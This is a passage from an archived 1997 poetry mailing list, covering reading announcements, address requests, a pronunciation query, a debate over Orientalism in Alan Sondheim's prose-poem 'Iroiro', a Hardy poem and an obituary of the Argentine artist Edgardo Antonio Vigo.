Eastern City was in State-of-This-Main-Origin-of-Book, still spring, I would say still April, the murmur of brook-larks heard high in Shinto trees. For truth, I did not recognize talons where hands were joined, words wired to electrical wonders not yet evidenced on the way from Kyoto to Fuji, by way of Wheat-Rice-Island. Thinking of wings, I flew, these were my thoughts:

Winged Thoughts, Iron Thoughts, Fire Thoughts, Singed Thoughts, River- Water Thoughts, Electric-Coming-Wonder-Thoughts.

There were seven flowers, six elements, perfect nights. In Northern- Nine-State-City, it was autumn, late-blooming chrysanthemum engraved on lacquer-bone poet-box, crane-flight, swimming-turtle careful gold design. I would write wonder-haiku,

one two sorrow five
six mountain eight pine ten e- x
leven twelve autumn four- x
ox oo
and win honor at go-moku, xxxxx o in summer-Kurume, waiting near Wide Island, very many tower down to Nagasaki. For to be sure, I was fast disappearing. I dreamed of fire, sparks flying in the night. I dreamed

of wooden houses. I dreamed of shogi sets, the sound of game pieces scraped across the wooden boards.

I dreamed of the fluttering of go boards, the sound of stone-and-shell game pieces scraped across the hollow tables. I dreamed of mother-of- pearl orderings from Eastern City, dreamed of the Origin of All Things, dreamed of State-of-Siege.

↑ Index

55. Gwyn McVay
pronunciation
Fri 5 Dec 1997

Dear list, is the name of the late author of "Ho Ho Ho Caribou" pronounced:

a) ce RA vo lo

b) ce ra VO lo

c) Throat-wobbler Mangrove?

thanks in advance
Gwyn

↑ Index

56. William Marsh
Re: Marks et al in ABR
Fri 5 Dec 1997

> *Wendy Battin and Jena Osman, the last two being reviews of the author's poetry websites. Marks's concluding remarks about "learning new language games" while too brief, are foresightful and provocative.*

Patrick--

would you post, if you know, the url's for these two sites

thanks

bill marsh

↑ Index

57. Jordan Davis
Re: pronouncement
Fri 5 Dec 1997

Rosemary Ceravolo reads this list from time to time, so I'll not pretend to authority, but various friends of Joe Ceravolo have used _both_ pronunciations around me.

Jordan

On Fri, 5 Dec 1997, Gwyn McVay wrote:

> *Dear list, is the name of the late author of "Ho Ho Ho Caribou" pronounced:*
>
> *a) ce RA vo lo*
>
> *b) ce ra VO lo*
>
> *c) Throat-wobbler Mangrove?*
>
> *thanks in advance*
> *Gwyn*

↑ Index

58. dbkk
Raddle Moon reading in San Francisco
Fri 5 Dec 1997

ANNOUNCING A READING:
to celebrate the publication of

RADDLE MOON 16: TWENTY-TWO
NEW (TO NORTH AMERICA) FRENCH WRITERS

Translator/Poets Dodie Bellamy, Susan Gevirtz, Susan Clark (from Vancouver), Norma Cole, Laura Moriarty, Michael Palmer & Cole Swenson will read from their translations of French Poets Manuel Joseph, Sabine Macher, Huguette Champroux, Caroline Dubois, Cecile Gaudin, Oscarine Bousquet and others!

Thursday December 11
7:30 p.m.
at Canessa Park Gallery
708 Montgomery St (at Columbus)

↑ Index

59. **dbkk**
SPT: Shurin, Ferguson, Allison, Gomez
Fri 5 Dec 1997

Small Press Traffic presents:

Friday, December 5, 7:30 p.m.

Deanna Ferguson
Aaron Shurin

Deanna Ferguson is the author of _ddilemma, Rough Bush_ , and _The Relative Minor_. She is one of the editors of Vancouver¹s estimable _BOO Magazine_ and the small press Tsunami Editions. Oh, how I¹ve schemed for years to bring Deanna to Small Press Traffic, my fingers worn to the bone counting the miles between B.C. and San Francisco. Her poetry is extremely dense and yet inviting; it¹s woven like a web of spidery filaments into a radar dish of primitive and advanced sensation. Over the past few years I¹ve watched her reputation mount from a simmer to a full boil. It may be December but this will be the hottest night of the year!

Aaron Shurin¹s books of poetry include _Into Distances_ (Sun & Moon), _A's Dream_ (O Books), and _The Graces_ (Four Seasons Foundation). Coming this year: _A Door_ (Sun & Moon) and _The Paradise Of Forms: Selected Poems_ (Talisman House). His most recent book, _Unbound_ (Sun & Moon), is the most affecting and splendid book yet written about AIDS, HIV and the place we all live in now. He has won a NEA fellowship, a California Arts Council fellowship, and the Gerbode Poetry Prize. He teaches at San Francisco State University and the University of San Francisco.

New College Cultural Center
766 Valencia Street
$5

Friday, December 12, 7:30 p.m.

Dorothy Allison
Jewelle Gomez

The celebrated poet and novelist Dorothy Allison will come down to Small Press Traffic for old times¹ sake. If you have never seen her read, here¹s a chance to catch her in a rare intimate appearance. She is the most spectacular reader I¹ve ever seen. Maybe Jonathan Edwards in ye olde Puritan days was better but I doubt it! She is the author of two books of essays, _Skin_ and _Two or Three Things I Know for Sure_, a book of stories _Trash_, a volume of poetry _The Women Who Hate Me_, and a novel, the best-selling _Bastard Out of Carolina_ .

Her new novel _Cave Dweller_ will appear in March of 1998. Allison spent a lot of time in the small press San Francisco writing scene before _Bastard_ catapulted her to fame, and she is one girl who has not forgotten her roots!

Jewelle Gomez is equally well-known for her forays into science fiction and a painful, heartfelt realism (I¹m looking forward to the spring publication of her new book of stories, _Don¹t Explain_, the title story of which I read first in _The Penguin Book of Lesbian Short Stories_). She is the author of the groundbreaking novel _The Gilda Stories_, which was the winner of two Lambda Literary Awards. She¹s also published a collection of essays, _Forty-Three Septembers_, and three books of poems, _The Lipstick Papers, Flamingoes and Bears_, and the recent _The Oral Tradition_. Gomez has been a poetry activist for many years in New York and now here, where she works as the executive director of the Poetry Center at San Francisco State.

New College Cultural Center
766 Valencia Street
$5

↑ Index

60. Pierre Joris
Reading
Fri 5 Dec 1997

For those in or around the apple:

Cole Swenson
Nicole Peyrafitte
& Pierre Joris

will be reading/performing

tomorrow Saturday, 6 December

at 3 pm

@ The Here Center
145 Sixth Avenue
(between Spring & Broome)
New York
(tel: [redacted])

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]

http://www.albany.edu/~joris/

Adding music to a good poem is like using a stained-glass
window to light a painted picture. — Paul Valéry
==========

↑ Index

61. **Dean A. Brink**
Re: Iroiro
Fri 5 Dec 1997

If you want comments, all I can say is for ideas for similar works you might try reading Chamberlain, Aston, Lafcadio Hearn and other Orientalist writers from a century ago. There you might get a better sense of how to tuck in the condescending mishmash of nonsense that was made possible by colonial domination or, in the case of Japan, which was not colonized, by military superiority and unilateral imposition of unfair treaties.

Of course, you don't want to get too historical, lest thee lose sight of the navelesque vision required for such in-sights.

Sorry, but take away the Orientalist pathos, there's not much left in this piece.

Ever in search of beautiful human life,
dean

Alan Myouka Sondheim wrote:

> -
>
> *Iroiro*
>
> *The weather began to turn around the beginning of November. I dreamed of fire, sparks flying in the night across the wooden houses. We were jammed against the cemetary, bad luck in any season; Hokusai's ghosts spoke across hideous red lanterns, their teeth waiting for the skin to fall. Fukuoka was ruptured by uneasy presences; the foreign community talked and talked, waiting for something to happen. Rumblings from Eastern City penetrated Nine-States Island. These were the States at that juncture:*
>
> *State-of-Hand-Joined-to-the-Body*
> *State-of-Being-Perfectly-Not-Here*
> *State-of-Disconsolate-Thought-of-Wings*
> *State-of-Hand-Not-Joined-to-the-Body*
> *State-of-Beauty-Futon-Winter-Comfort*
> *Electric-State-of-Coming-Wonders*

> *State-of-Seeing-You-Around-About*
> *Eighth-State-of-Fukuoka-City*
> *State-of-Siege-of-Hardly-Kanji*
>
> *Eastern City was in State-of-This-Main-Origin-of-Book, still spring, I would say still April, the murmur of brook-larks heard high in Shinto trees. For truth, I did not recognize talons where hands were joined, words wired to electrical wonders not yet evidenced on the way from Kyoto to Fuji, by way of Wheat-Rice-Island. Thinking of wings, I flew, these were my thoughts:*
>
> *Winged Thoughts, Iron Thoughts, Fire Thoughts, Singed Thoughts, River-Water Thoughts, Electric-Coming-Wonder-Thoughts.*
>
> *There were seven flowers, six elements, perfect nights. In Northern-Nine-State-City, it was autumn, late-blooming chrysanthemum engraved on lacquer-bone poet-box, crane-flight, swimming-turtle careful gold design. I would write wonder-haiku,*
>
> *one two sorrow five*
> *six mountain eight pine ten e- x*
> *leven twelve autumn four- x*
> *ox oo*
> *and win honor at go-moku, xxxxx o in summer-Kurume, waiting near Wide Island, very many tower down to Nagasaki. For to be sure, I was fast disappearing. I dreamed of fire, sparks flying in the night. I dreamed of wooden houses. I dreamed of shogi sets, the sound of game pieces scraped across the wooden boards.*
>
> *I dreamed of the fluttering of go boards, the sound of stone-and-shell game pieces scraped across the hollow tables. I dreamed of mother-of-pearl orderings from Eastern City, dreamed of the Origin of All Things, dreamed of State-of-Siege.*

--
dean brink

[redacted]

interpoetics - poetry of Asia and the Pacific Rim
www.w-link.net/~dean/interpoetics/index.html

↑ Index

62. Steven Marks

Re: Marks et al in ABR

Fri 5 Dec 1997

The URLs are:

http://www.conncoll.edu/ccother/wjbat
for Wendy Battin's "Lucid Dreaming" and "Poetry is Sense, Sensed"

http://writing.upenn.edu/epc/authors/osman
for Jena Osman's "The Periodic Table as Assembled by Dr. Zhivago, Occulist." Which gets my vote for title of the year!

In answer to Patrick's earlier question, "The Haunted Baronet" (Mark Wallace), "Lead, Glass and Poppy" (Kristin Prevallet) and "Why I am Not a Christian" (Jeff Hansen) are all available from primitive publications. The editor is Mary Hilton and her e-mail address is [redacted]

cheers,
Steven

On Fri, 5 Dec 1997, William Marsh wrote:

> *Wendy Battin and Jena Osman, the last two being reviews of the author's poetry websites. Marks's concluding remarks about "learning new language games" while too brief, are foresightful and provocative.*
>
> *Patrick--*
>
> *would you post, if you know, the url's for these two sites*
>
> *thanks*
>
> *bill marsh*

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

63. Brent Long
Help!
Fri 5 Dec 1997

Anyone here have an e-mail address for Michael Heffernan? Please send it to me if you do...lost it when a nasty virus corrupted my system this week. Thanks in advance.

Brent

↑ Index

64. Daniel Zimmerman
Re: Help!
Fri 5 Dec 1997

[redacted]

Brent Long wrote:
>
> Anyone here have an e-mail address for Michael Heffernan? Please send it
> to me if you do...lost it when a nasty virus corrupted my system this week.
> Thanks in advance.
>
> Brent

↑ Index

65. David R. Israel
Re: Iroiro
Sat 6 Dec 1997

Regarding A.Sondheim's recent writing "Iroiro," Dean A. Brink indefatigably suggests,

> *Sorry, but take away the Orientalist pathos, there's not much left in this piece.*

well maybe (though "not much" can amount to a quantity); but jeez, add it back, and look what you get!

d.i.

["jeez" may be understood to signify mid-American pathos]

.
.....
.....
\\\

```
  >>     washington  d.c.     <<
| [redacted]  (home)
| [redacted]     (office)
==========================
|  thy centuries follow each other
|  perfecting a small wild flower
|                              (Tagore)
//////////////////////////////////////\\\\\/////
```

↑ Index

66. Loss Pequen~o Glazier

EPC Regen

Sat 6 Dec 1997

This a.m. @ 2 a.m. I have just completed a regen of all 20,000 (?) of le EPC. So here's the scoop. This has been a massive regeneration of header/body info/formatting. So for those who are vested ie. have author pages or other interests in this layered intricate holy cow of pages ... check pages that are important to you to make sure everything still looks fine. Send a message to [redacted] with "Update Check" in the subject of the message and "ok" in the body of the message (assuming all is ok). I appreciate this. But I've just machine-interacted with these thousands of files and want to make sure it all looks fine. The background should now be white and the wording of the top links somewhat changed. Quieter, calmer, cleaner. Thanks.

↑ Index

67. david bromige

rceiving mail

Sat 6 Dec 1997

Listfolk : somebody has sent me a file my software finds indigestible. It's like watching a small python trying to swallow a large pig. As a consequence, I will be unable (at least until monday, when my server's office will be open & I can get expert advice) to access the messages that are "behind" this monstrous file. I shall also have to unsubscibe until things get fixed. Please be patient & I will get back to you. If it is urgent, please phone me at [redacted]. Thanks. David

↑ Index

68. Alan Myouka Sondheim
Re: Iroiro
Sat 6 Dec 1997

or realize at least that the pathos are deconstructed; as far as Hearn et. al. go, I just have to leave the house.

Alan

On Sat, 6 Dec 1997, David R. Israel wrote:

> *Regarding A.Sondheim's recent writing "Iroiro," Dean A. Brink indefatigably suggests,*
>
> *Sorry, but take away the Orientalist pathos, there's not much left in this piece.*
>
> *well maybe (though "not much" can amount to a quantity); but jeez, add it back, and look what you get!*
>
> *d.i.*
>
> *["jeez" may be understood to signify mid-American pathos]*
>
> *.*
> *.....*
> *.....*
> *\\\

To all of you who may have had similar troubles downloading the grossly overlarge attachment I sent with a Call for Submissions for the Little Magazine earlier this week, my humblest humblest apologies.

It was an accident (I sent a non-shrunk attachment by mistake). But an "oops" certainly doesn't cover it.

Again: my sincerest apologies.
Christina Milletti
Editor, The Little Magazine
http://www.albany.edu/~litmag/

↑ Index

70. Mark Weiss
(no subject)
Sat 6 Dec 1997

Anyone have an email address for Susan Smith Nash? Please backchannel.

↑ Index

71. Daniel Carter
invalid claim withdrawn: inaccessible detour
Sat 6 Dec 1997

{ }

intro-eye

delta beacon void

vote I.D. Ray

hesitant curious stillness struck late until now most naught they sat t' sip

salute

http://www.inch.com/~abz/

↑ Index

72. Harold Rhenisch
Re: rceiving mail
Sat 6 Dec 1997

> *To all of you who may have had similar troubles downloading the grossly overlarge attachment I sent with a Call for Submissions for the Little Magazine earlier this week, my humblest humblest apologies.*

I fed it to my cat. No problem. This saved a muskrat.

Harold Rhenisch

↑ Index

73. joel lewis
Re: pronunciation
Sat 6 Dec 1997

> *Dear list, is the name of the late author of "Ho Ho Ho Caribou" pronounced:*
>
> *a) ce RA vo lo*
>
> *b) ce ra VO lo*
>
> *c) Throat-wobbler Mangrove?*

gwen --

i knew joe (fellow jersey poet) and he said that he accepted both the a & b pronunciation, don't know about "c", tho'

joel lewis

↑ Index

74. Louis Cabri
few ago
Sun 7 Dec 1997

I *tend* not to age re: 'happy to be here' & tuba, play it hairy, although in specific ways, if these references to preeves of the discussionscuffed can be quickly repolshd. Id orf ound all toba ANGWA otch, sowa boutgovs their doors are open. *Erner* Meyel Splan (came up before - posts fr prots. days ago?) etorks pat'hes ooli *TWO PLYNITS FORENOTS TWIT* (ha-ha, old joke) "toails seaprinting Os." (So, against prenims? - Yes! - or No!) SWaa bod ipn srot hogs chepp brundits (*yes*), lop prinnies, adalyafs (wat ers). "K yr shtitsils." Bordin (uh-oh...)--blerd rak allo bedots, frintong snittingl: AIR 4 db AK. Or 2 w/ .6 on OPH, same magn. I'd put it in revenge & trawl. - Let me know, yo! Best wishs, l

↑ Index

75. KENT JOHNSON
Iroiro and Orientalism
Sun 7 Dec 1997

Dean:

am I understanding you correctly? "Military superiority" of the West and its "imposition of unfair treaties" on Japan is the "historical" reason why Alan Myouka Sondheim's letter to Iroiro comes freighted with time-worn, unconscious traces

of Orientalist condescension? Obviously, any number of lands have been so subjected by any mumber of other lands, and thus it would seem that one could bid good-bye to a good deal of cross-cultural imagining around the globe! Writers in Japan, citizens as they are of a nation with a long and sordid imperialist history (a nation "not colonized," as you put it), would not be the least compromised in this regard.

I'm not suggesting that Orientalism is not an important issue. Of course it is. But it seems to me that your last post is a good example of its ideologically overzealous and simplistic application. But I am aware that this is your academic field, and that I might be wrong. Could you, then, illustrate your point by detailing, _with some textual specificity_, why Sondheim's poem is as you have pegged it to be? Here, at least, is a text you have read before making the dismissal.

I'm sure I wasn't the only one on the list who found the piece rather moving and exciting--certainly quite different in language and spirit from the dusty works of the writers you rather preachily urge Sondheim to school himself in. Obviously you think there is a continuity between him and them and that we shouldn't have enjoyed the poem? A close reading, please.

Kent

On 5 December, Dean Brink wrote:

> *If you want comments, all I can say is for ideas for similar works*
> *you might try reading Chamberlain, Aston, Lafcadio Hearn and other Orientalist writers*
> *from a century ago. There you might get a better sense of how to tuck in*
> *the condescending mishmash of nonsense that was made possible by colonial*
> *domination or, in the case of Japan, which was not colonized, by military*
> *superiority and unilateral imposition of unfair treaties.*
>
> *Of course, you don't want to get too historical, lest thee lose sight of*
> *the navelesque vision required for such in-sights.*
>
> *Sorry, but take away the Orientalist pathos, there's not much left in this*
> *piece.*
>
> *Ever in search of beautiful human life,*
> *dean*
>
> *Alan Myouka Sondheim wrote:*
>
> -

Iroiro

The weather began to turn around the beginning of November. I dreamed of fire, sparks flying in the night across the wooden houses. We were jammed against the cemetary, bad luck in any season; Hokusai's ghosts spoke across hideous red lanterns, their teeth waiting for the skin to fall. Fukuoka was ruptured by uneasy presences; the foreign community talked and talked, waiting for something to happen. Rumblings from Eastern City penetrated Nine-States Island. These were the States at that juncture:

State-of-Hand-Joined-to-the-Body
State-of-Being-Perfectly-Not-Here
State-of-Disconsolate-Thought-of-Wings
State-of-Hand-Not-Joined-to-the-Body
State-of-Beauty-Futon-Winter-Comfort
Electric-State-of-Coming-Wonders
State-of-Seeing-You-Around-About
Eighth-State-of-Fukuoka-City
State-of-Siege-of-Hardly-Kanji

Eastern City was in State-of-This-Main-Origin-of-Book, still spring, I would say still April, the murmur of brook-larks heard high in Shinto trees. For truth, I did not recognize talons where hands were joined, words wired to electrical wonders not yet evidenced on the way from Kyoto to Fuji, by way of Wheat-Rice-Island. Thinking of wings, I flew, these were my thoughts:

Winged Thoughts, Iron Thoughts, Fire Thoughts, Singed Thoughts, River-Water Thoughts, Electric-Coming-Wonder-Thoughts.

There were seven flowers, six elements, perfect nights. In Northern-Nine-State-City, it was autumn, late-blooming chrysanthemum engraved on lacquer-bone poet-box, crane-flight, swimming-turtle careful gold design. I would write wonder-haiku,

one two sorrow five
six mountain eight pine ten e- x
leven twelve autumn four- x
ox oo
and win honor at go-moku, xxxxx o in summer-Kurume, waiting near Wide Island, very many tower down to Nagasaki. For to be sure, I was fast disappearing. I dreamed of fire, sparks flying in the night. I dreamed of wooden houses. I dreamed of shogi sets, the sound of game pieces scraped across the wooden boards.

I dreamed of the fluttering of go boards, the sound of stone-and-shell game pieces scraped across the hollow tables. I dreamed of mother-of-

> *pearl orderings from Eastern City, dreamed of the Origin of All Things, dreamed of State-of-Siege.*
>
> ---
>
> --
> *dean brink*
>
> [redacted]
>
> *interpoetics - poetry of Asia and the Pacific Rim*
> *www.w-link.net/~dean/interpoetics/index.html*

↑ Index

76. Cadaly
Re: Iroiro and Orientalism
Sun 7 Dec 1997

There is western orientalism and chinese orientalism: for example, I am currently working with some chinese ladies who consider the peoples of the middle east to be oriental, and have fairly well-codified opinions of their folkways.

Catherine Daly

↑ Index

77. Franklin Bruno
a few questions
Sun 7 Dec 1997

1. Does someone know what Hardy poem the phrase "original air-blue gown" appears in? I think it's called "The Visit," but I went through a Collected Poems that didn't have an alphabetical title index, and couldn't find it.

2. Can someone backchannel me an e-mail address for Steve Evans or Jennifer Moxley? I tried the one on the Impercipient letterhead, and it bounced.

3. Just for discussion--what do people think about the following books/poets: Campbell McGrath, -Spring Comes To Chicago-, and Joshua Clover, -Madonna Anno Domini-? Both books intrigue me: the first for its combination of self-conscious 'plain-spokenness' and (seemingly) sophisticated economic critique, the second as an example of the incursion of 'language-ish' indeterminacy into a largely workshoppy framework. I'm not sure that's a criticism, but it's a curious twist.

fjb

↑ Index

78. Rachel Loden
Re: a few questions
Sun 7 Dec 1997

Franklin Bruno wrote:
>
> 1. Does someone know what Hardy poem the phrase "original air-blue gown"
> appears in? I think it's called "The Visit," but I went through a Collected
> Poems that didn't have an alphabetical title index, and couldn't find it.
>

From the web: can't say whether the layout is right . . .

The Voice

Woman much missed, how you call to me, call to me,
Saying that now you are not as you were
When you had changed from the one who was all to me,
But as at first, when our day was fair.

Can it be you that I hear? Let me view you, then,
Standing as when I drew near to the town
Where you would wait for me: yes, as I knew you then,
Even to the original air-blue gown!

Or is it only the breeze, in its listlessness
Travelling across the wet mead to me here,
You being ever dissolved to wan wistlessness,
Heard no more again far or near?

Thus I; faltering forward,
Leaves around me falling,
Wind oozing thin through the thorn from norward,
And the woman calling.

--Thomas Hardy

↑ Index

79. Bob Grumman
Poetics Taxonomy at Comprepoetica
Sun 7 Dec 1997

This is a multi-part message in MIME format.

The latest news from my poetics/poetry/poets site is that things have been dragging: not too many visits. William Carlos Williams is leading the vote for favorite all-time US poet but only has 10 votes; Ashbery leads in the vote for favorite living poet with 8 votes; Ron Silliman, Charles Bernstein, Lyn Hejinian, Susan Howe, Robert Creeley and Clark Coolidge are tied for second with four, each.

There are now 33 bios on file and 23 poems.

And NOW AT LAST, what you've all been waiting for, my own FINAL DEFINITIVE TAXONOMY OF VISIO-TEXTUAL POETRY! It's now up at Comprepoetica at:

http://www.geocities.com/SoHo/Cafe/1492/vispdef.html

It includes 9 examples of visio-textual art (a few not that effectively reproduced but adequate for my purposes)--as well as a history of my reasoning. The terminology is klunky but the system itself seems pretty airtight to me. It's hard for me to believe that any genuine student of visual poetry and related art could fail to get something out of it, however many flaws he found with it. Any comments, especially negative ones, would be MOST welcome. My poetics taxonomization is a nutty life's work (although I DO have other life's works), but I'm serious about it. I hope it makes sense.

I've also have put some notes toward a taxonomy of literature up at Comprepoetica. Important parts of these came out of discussions at UB Poetics: the discussion of what to call gaps in lines of poetry helped me much in defining poetry as having what I call flow-breaks (a slight refinement on the old idea of poetry as that which is lineated); and another discussion I don't think I even participated in, helped me work out where narrative fits in, and what it is. This second essay (very dry, for specialists only, I would think) is at:

http://www.geocities.com/SoHo/Cafe/1492/lit-tax.html

Again, I'd greatly appreciate any comments, pro or con, especially the latter. For those who think taxonomy is stupid or even evil, I've put up an intemperate rant in favor of it that will be sure to anger you at:

http://www.geocities.com/SoHo/Cafe/1492/taxdfens.html

Meanwhile, I'm still anxious for bios. Come visit the site, fill out a survey, leave a poem, vote for a favorite poet or two. When Comprepoetica takes over the world, I'll remember you, I promise!

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------5EEE5530601F--

↑ Index

80. **Dean A. Brink**

Re: Iroiro and Orientalism

Sun 7 Dec 1997

History 101 for Kent Johnson:

You confuse the Japan that was a victim of imperialism (especially 1853-1900) and the Japan that was a champion of imperialism (economic and military, especially from the 1890s until the end of the War).

Maybe you should stick to imaginary people before you tackle the historical.

dean brink

KENT JOHNSON wrote:

> *Dean:*
>
> *am I understanding you correctly? "Military superiority" of the West and its "imposition of unfair treaties" on Japan is the "historical" reason why Alan Myouka Sondheim's letter to Iroiro comes freighted with time-worn, unconscious traces of Orientalist condescension? Obviously, any number of lands have been so subjected by any mumber of other lands, and thus it would seem that one could bid good-bye to a good deal of cross-cultural imagining around the globe! Writers in Japan, citizens as they are of a nation with a long and sordid imperialist history (a nation "not colonized," as you put it), would not be the least compromised in this regard.*
>
> *I'm not suggesting that Orientalism is not an important issue. Of course it is. But it seems to me that your last post is a good example of its ideologically overzealous and simplistic application. But I am aware that this is your academic field, and that I might be wrong. Could you, then, illustrate your point by detailing, _with some textual specificity_, why Sondheim's poem is as you have pegged it to be? Here, at least, is a text you have read before making the dismissal.*
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> *I'm sure I wasn't the only one on the list who found the piece rather moving and exciting--certainly quite different in language and spirit from the dusty works of the writers you rather preachily urge Sondheim to school himself in. Obviously you think there is a continuity between him and them and that we shouldn't have enjoyed the poem? A close reading, please.*

Kent

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Of course, you don't want to get too historical, lest thee lose sight of the navelesque vision required for such in-sights.

Sorry, but take away the Orientalist pathos, there's not much left in this piece.

Ever in search of beautiful human life,
dean

Alan Myouka Sondheim wrote:

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Iroiro

The weather began to turn around the beginning of November. I dreamed of fire, sparks flying in the night across the wooden houses. We were jammed against the cemetary, bad luck in any season; Hokusai's ghosts spoke across hideous red lanterns, their teeth waiting for the skin to fall. Fukuoka was ruptured by uneasy presences; the foreign community talked and talked, waiting for something to happen. Rumblings from Eastern City penetrated Nine-States Island. These were the States at that juncture:

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State-of-Siege-of-Hardly-Kanji

> *Eastern City was in State-of-This-Main-Origin-of-Book, still spring, I would say still April, the murmur of brook-larks heard high in Shinto trees. For truth, I did not recognize talons where hands were joined, words wired to electrical wonders not yet evidenced on the way from Kyoto to Fuji, by way of Wheat-Rice-Island. Thinking of wings, I flew, these were my thoughts:*
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> *Winged Thoughts, Iron Thoughts, Fire Thoughts, Singed Thoughts, River-Water Thoughts, Electric-Coming-Wonder-Thoughts.*
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>
> *one two sorrow five*
> *six mountain eight pine ten e- x*
> *leven twelve autumn four- x*
> *ox oo*
> *and win honor at go-moku, xxxxx o in summer-Kurume, waiting near Wide Island, very many tower down to Nagasaki. For to be sure, I was fast disappearing. I dreamed of fire, sparks flying in the night. I dreamed of wooden houses. I dreamed of shogi sets, the sound of game pieces scraped across the wooden boards.*
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> *I dreamed of the fluttering of go boards, the sound of stone-and-shell game pieces scraped across the hollow tables. I dreamed of mother-of-pearl orderings from Eastern City, dreamed of the Origin of All Things, dreamed of State-of-Siege.*
>
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>
> *--*
> *dean brink*
>
> [redacted]
>
> *interpoetics - poetry of Asia and the Pacific Rim*
> *www.w-link.net/~dean/interpoetics/index.html*

--
dean brink

[redacted]

interpoetics - poetry of Asia and the Pacific Rim
www.w-link.net/~dean/interpoetics/index.html

↑ Index

81. Christopher W. Alexander
address query hell: Michael Gizzi?
Mon 8 Dec 1997

---

yet another scintillating address query:
does anyone have an email (or even a
snail-mail) address for Michael Gizzi?

"much obliged".

Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

82. Christopher W. Alexander
spit shine and polish (not the ethnicity)
Mon 8 Dec 1997

---

to Loss Glazier & all concerned: the new EPC pages look great. (to all unconcerned: nyah nyah nyah).

best, Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

83. Tosh
Iroiro and Orientalism
Mon 8 Dec 1997

You confuse the Japan that was a victim of imperialism (especially 1853-1900) and the Japan that was a champion of imperialism (economic and military, especially from the 1890s until the end of the War).

Maybe you should stick to imaginary people before you tackle the historical.

Dear Dean:

Your response to Kent Johnson's post is qutite nasty. There is no doubt that you are a genius in Japanese history. Perhaps you can explain to us how Japan was a vicitm of imperialism. Are you talking culturally or in practical everyday matters? For instince, Tanazaki wrote about the conflicts between the West and the East in his early novels. Especially in aesthetics, sexual mores, and in the difference between Japanese and Western cultures. Not everyone is exposed to different cultures. It is obvious that you are truly a master in Japanese studies. But don't look down on people who are not familar with things outside their culture.

Tosh Berman
TamTam Books

↑ Index

84. Louis Cabri
(no subject)
Mon 8 Dec 1997

Iroar!!!

"Mili" stmomsts "imp eaties"! Thit thone id yoodal outhgle. Pithizens afa nithong periists ("notonized" syupuit) udnots Helecoprosad. Inots ugging ortals isnots impotties sue. Ocorsits.

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--Ca.

Sa:

3. Cussato plethinkowbool.

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Anthma.

--Tosod

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--oG.

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--dek

↑ Index

85. Rob Hardin

FREE! NEW! Today's Revolutionary One-On-One Pocket Pastor!

Mon 8 Dec 1997

http://www.users.interport.net/~scrypt/DunceDoseForDobie.html

↑ Index

86. robert drake

Forward: Edgardo Antonio Vigo

Mon 8 Dec 1997

Forwarded message:
From: [redacted] (Clemente Padin)
To: [redacted]
Date: 97-12-03 05:29:31 EST

Please, pass on this text:
EDGARDO ANTONIO VIGO: Aspiration to Freedom

Clemente
Padin

Edgardo Antonio Vigo, aged 70, died in La Plata, the city of his birth. Vigo was an engraver, experimental poet, conceptualist, constructor of "objects-without-use" and "oddmachines," a constant innovator whose only recently discovered work keeps on surprising, given the almost ineffable character of his projects. He also cultivated forms that until now have been considered sub-artistic or simply not thought of as "art" in the vernacular sense of the term, such as mail art and experimental poetry.

In Vigo's work can be seen influences of Marcel Duchamp-we recall Vigo's film Blanco sobre Blanco (White on White), shown on the spectators' backs, and the "ready-mades" he constantly sent his friends-and, above all, of Macedonio Fernandez, not only in his irreverent attitude but also in his long and contradictory titles and paratexts. From both, Vigo took the ludic attitude of play, making the spectators participate and desacralizing the work of art through manipulation and co-creation, to the point that he preferred to speak of the "creative-constructor" instead of the "spectator," trying to make of artistic creation a multiple act, not something individual and solitary.

Born in La Plata in 1927, Vigo enrolled in the School of Fine Arts of the La Plata University in 1950 and, in 1953, he went on a scholarship to France where he met the Venezuelan artist Jesus Soto and came into contact with the international avant-garde. In 1954, on returning to his country, Vigo exhibited wooden objects that already foretold his later tendency towards an art of popular participation. He was an important magazine editor, publishing Diagonal Cero (1961) and Hexagono 70, which featured "novisima" poetry-what he liked to call visual poetry-together with the subsequent Nuestro Libro Internacional de Estampillas y Matasellos (Our International Book of Stamps and Postmarks) with original stamps and postmarks by artists from around the world (artistamps and rubber stamps). These are considered paradigmatic of what is known today as "artists' books." In 1965 Vigo exhibited his first "useless machines," such as the Palanganometro Mecedor para Criticos de Arte (Palaganometer Rocking Chair for Art Critics) and the Bi-Tri-Cicleta Ingenua (Ingenuous Bi-Tri-Cycle) that was heaped with vernacular criticism, initiating a long silence that lasted until the 1990s. But, the alternative scene in France, 1967, published his Poemas Matematicos Barrocos (Mathematical Baroque Poems) and the next year his Poemas Matematicos Incomestibles (Mathematical Inedible Poems) (an object enclosedbetween two empty tuna cans soldered together). Also, in 1968, in La Plata there appeared his first traffic light, Manojo de Semaforos (Bunch of

Traffic Lights). This consisted of analyzing from the aesthetic and creative point of view the traffic signals located in the intersection of First and Sixtieth Avenues in La Plata. Presenting an anonymous and useless element in its specific function (stressing an ironic urban commentary) this project sought to initiate a specific dialogue with an abstract content. The public invited to participate were to develop their ideas using the minimal keys given by the artist, who wasn't there. The proposal was to subtract out all prejudicial contact in order to generate an action in freedom.

In issue 11 of the magazine Los Huevos del Plata (1968) there appeared Vigo's New Avant-Garde Poetry in Argentina and experimental poems by Jorge de Luxan, Carlos Ginzburg, Luis Pazos, and his own. Here is found the second break with the lyric tradition in Argentina (the first was in the 1930s, under the sign of Ultraism).

